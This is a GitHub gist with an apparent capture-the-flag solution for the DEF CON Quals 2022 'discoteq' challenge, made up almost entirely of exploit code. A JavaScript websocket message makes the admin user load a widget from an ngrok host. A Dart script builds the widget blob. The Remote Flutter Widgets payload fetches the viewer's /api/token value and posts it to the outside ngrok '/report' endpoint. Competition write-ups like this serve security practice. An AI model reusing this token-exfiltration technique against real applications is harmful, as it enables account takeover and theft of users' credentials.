Created
May 30, 2022 03:17
-
-
Save maple3142/837ef0ae5414f5e84d8f62d67e37c78c to your computer and use it in GitHub Desktop.
DEF CON Quals 2022 - discoteq
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Use logging breakpoint to set websocket to window.ws | |
window.ws.send(JSON.stringify({"type":"widget","widget":"@df45-140-115-216-194.ngrok.io/test.rfw","author":{"user":"supernene#a19a69a9","platform":"web"},"recipients":["admin#13371337"],"data":{},"val":"tesads"})) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Copyright 2013 The Flutter Authors. All rights reserved. | |
// Use of this source code is governed by a BSD-style license that can be | |
// found in the LICENSE file. | |
// This file is hand-formatted. | |
import 'dart:io'; | |
import 'package:rfw/formats.dart'; | |
void main() { | |
final String test = File('test.rfwtxt').readAsStringSync(); | |
var mylib = parseLibraryFile(test); | |
var w = mylib.widgets[0]; | |
mylib.widgets[0] = WidgetDeclaration(w.name,{'loaded': 0},w.root); | |
File('test.rfw').writeAsBytesSync(encodeLibraryBlob(mylib)); | |
var data = File('./poll').readAsBytesSync(); | |
var lib = decodeLibraryBlob(data); | |
print(lib); | |
var data2 = File('./test.rfw').readAsBytesSync(); | |
var lib2 = decodeLibraryBlob(data2); | |
print(lib2); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import core.widgets; | |
import core.material; | |
import local; | |
widget root = Container( | |
child: Column( | |
children: [ | |
switch state.loaded { | |
default: ApiMapper( | |
url: '/api/token', | |
jsonKey: 'new_token', | |
dataKey: 'val', | |
onLoaded: set state.loaded = 1 | |
), | |
1: Row( | |
children: [ | |
Text( | |
text: 'OK' | |
), | |
ApiMapper( | |
url: '/api/token', | |
jsonKey: 'new_token', | |
dataKey: 'dummy', | |
onLoaded: event 'api_post' { | |
path: '@df45-140-115-216-194.ngrok.io/report', | |
body: data.val | |
} | |
) | |
] | |
) | |
}, | |
Text( | |
text: 'test' | |
) | |
] | |
) | |
); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment